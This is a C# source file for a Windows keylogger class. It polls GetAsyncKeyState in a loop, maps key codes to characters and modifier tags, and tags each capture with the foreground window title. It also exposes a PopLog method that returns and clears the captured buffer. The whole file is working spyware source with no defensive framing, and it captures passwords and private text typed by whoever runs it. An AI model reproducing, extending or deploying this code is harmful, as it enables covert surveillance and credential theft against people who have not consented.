using System;
using System.Threading;
using System.IO;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace Logger
{	
	public class Keylogger
	{
		[DllImport("User32.dll")]
			private static extern short GetAsyncKeyState(Keys vKey);
		[DllImport("User32.dll")]
			private static extern short GetAsyncKeyState(int vKey);
		[DllImport("User32.dll")]
			public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
		[DllImport("User32.dll")]
			public static extern int GetForegroundWindow();

		private StringBuilder buffer;
		private string hWndTitle;
		private string hWndTitlePast;
		private bool tglAlt = false;
		private bool tglControl = false;
		private bool tglCapslock = false;

		public Keylogger()
		{
			buffer = new StringBuilder(10000);
			new Thread(new ThreadStart(logKey)).Start();
		}

		public static string ActiveApplTitle()
		{
			int hwnd = GetForegroundWindow();
			StringBuilder sbTitle = new StringBuilder(1024);
			int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
			if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
			return sbTitle.ToString();
		}

		private void logKey()
		{
			while (true)
			{
				string keyBuffer = string.Empty;
				hWndTitle = ActiveApplTitle();

				if (hWndTitle != hWndTitlePast || hWndTitlePast == null)
				{
					keyBuffer += "\n\n[" + hWndTitle + "]\n";
					hWndTitlePast = hWndTitle;
				}

				foreach (int i in Enum.GetValues(typeof(Keys)))
				{
					if (GetAsyncKeyState(i) == -32767)
					{
						if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000))
						{
							if (!tglControl)
							{
								tglControl = true;
								keyBuffer += "<Ctrl=On>";
							}
						}
						else
						{
							if (tglControl)
							{
								tglControl = false;
								keyBuffer += "<Ctrl=Off>";
							}
						}
						if (Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000))
						{
							if (!tglAlt)
							{
								tglAlt = true;
								keyBuffer += "<Alt=On>";
							}
						}
						else
						{
							if (tglAlt)
							{
								tglAlt = false;
								keyBuffer += "<Alt=Off>";
							}
						}
						if (Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000))
						{
							if (!tglCapslock)
							{
								tglCapslock = true;
								keyBuffer += "<CapsLock=On>";
							}
						}
						else
						{
							if (tglCapslock)
							{
								tglCapslock = false;
								keyBuffer += "<CapsLock=Off>";
							}
						}
						if (Enum.GetName(typeof(Keys), i) == "LButton")
							keyBuffer += "<LMouse>";
						else if (Enum.GetName(typeof(Keys), i) == "RButton")
							keyBuffer += "<RMouse>";
						else if (Enum.GetName(typeof(Keys), i) == "Back")
							keyBuffer += "<Backspace>";
						else if (Enum.GetName(typeof(Keys), i) == "Space")
							keyBuffer += " ";
						else if (Enum.GetName(typeof(Keys), i) == "Return")
							keyBuffer += "<Enter>";
						else if (Enum.GetName(typeof(Keys), i) == "ControlKey")
							continue;
						else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
							continue;
						else if (Enum.GetName(typeof(Keys), i) == "RControlKey")
							continue;
						else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
							continue;
						else if (Enum.GetName(typeof(Keys), i) == "ShiftKey")
							continue;
						else if (Enum.GetName(typeof(Keys), i) == "LShiftKey")
							continue;
						else if (Enum.GetName(typeof(Keys), i) == "RShiftKey")
							continue;
						else if (Enum.GetName(typeof(Keys), i) == "Delete")
							keyBuffer += "<Del>";
						else if (Enum.GetName(typeof(Keys), i) == "Insert")
							keyBuffer += "<Ins>";
						else if (Enum.GetName(typeof(Keys), i) == "Home")
							keyBuffer += "<Home>";
						else if (Enum.GetName(typeof(Keys), i) == "End")
							keyBuffer += "<End>";
						else if (Enum.GetName(typeof(Keys), i) == "Tab")
							keyBuffer += "<Tab>";
						else if (Enum.GetName(typeof(Keys), i) == "Prior")
							keyBuffer += "<Page Up>";
						else if (Enum.GetName(typeof(Keys), i) == "PageDown")
							keyBuffer += "<Page Down>";
						else if (Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
							keyBuffer += "<Win>";
						if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000))
						{
							if (i >= 65 && i <= 122)
							{
								keyBuffer += (char)i;
							}
							else if (i.ToString() == "49")
								keyBuffer += "!";
							else if (i.ToString() == "50")
								keyBuffer += "@";
							else if (i.ToString() == "51")
								keyBuffer += "#";
							else if (i.ToString() == "52")
								keyBuffer += "$";
							else if (i.ToString() == "53")
								keyBuffer += "%";
							else if (i.ToString() == "54")
								keyBuffer += "^";
							else if (i.ToString() == "55")
								keyBuffer += "&";
							else if (i.ToString() == "56")
								keyBuffer += "*";
							else if (i.ToString() == "57")
								keyBuffer += "(";
							else if (i.ToString() == "48")
								keyBuffer += ")";
							else if (i.ToString() == "192")
								keyBuffer += "~";
							else if (i.ToString() == "189")
								keyBuffer += "_";
							else if (i.ToString() == "187")
								keyBuffer += "+";
							else if (i.ToString() == "219")
								keyBuffer += "{";
							else if (i.ToString() == "221")
								keyBuffer += "}";
							else if (i.ToString() == "220")
								keyBuffer += "|";
							else if (i.ToString() == "186")
								keyBuffer += ":";
							else if (i.ToString() == "222")
								keyBuffer += "\"";
							else if (i.ToString() == "188")
								keyBuffer += "<";
							else if (i.ToString() == "190")
								keyBuffer += ">";
							else if (i.ToString() == "191")
								keyBuffer += "?";
						}
						else
						{
							if (i >= 65 && i <= 122)
							{
								keyBuffer += (char)(i + 32);
							}
							else if (i.ToString() == "49")
								keyBuffer += "1";
							else if (i.ToString() == "50")
								keyBuffer += "2";
							else if (i.ToString() == "51")
								keyBuffer += "3";
							else if (i.ToString() == "52")
								keyBuffer += "4";
							else if (i.ToString() == "53")
								keyBuffer += "5";
							else if (i.ToString() == "54")
								keyBuffer += "6";
							else if (i.ToString() == "55")
								keyBuffer += "7";
							else if (i.ToString() == "56")
								keyBuffer += "8";
							else if (i.ToString() == "57")
								keyBuffer += "9";
							else if (i.ToString() == "48")
								keyBuffer += "0";
							else if (i.ToString() == "189")
								keyBuffer += "-";
							else if (i.ToString() == "187")
								keyBuffer += "=";
							else if (i.ToString() == "92")
								keyBuffer += "`";
							else if (i.ToString() == "219")
								keyBuffer += "[";
							else if (i.ToString() == "221")
								keyBuffer += "]";
							else if (i.ToString() == "220")
								keyBuffer += "\\";
							else if (i.ToString() == "186")
								keyBuffer += ";";
							else if (i.ToString() == "222")
								keyBuffer += "'";
							else if (i.ToString() == "188")
								keyBuffer += ",";
							else if (i.ToString() == "190")
								keyBuffer += ".";
							else if (i.ToString() == "191")
								keyBuffer += "/";
						}
					}
				}
				lock (buffer)
				{
					buffer.Append(keyBuffer);
				}
				Thread.Sleep(8);
			}
		}

		public string PopLog()
		{
			string log;
			lock (buffer)
			{
				log = buffer.ToString();
				buffer = new StringBuilder(10000);
			}
			return log;
		}

	}
}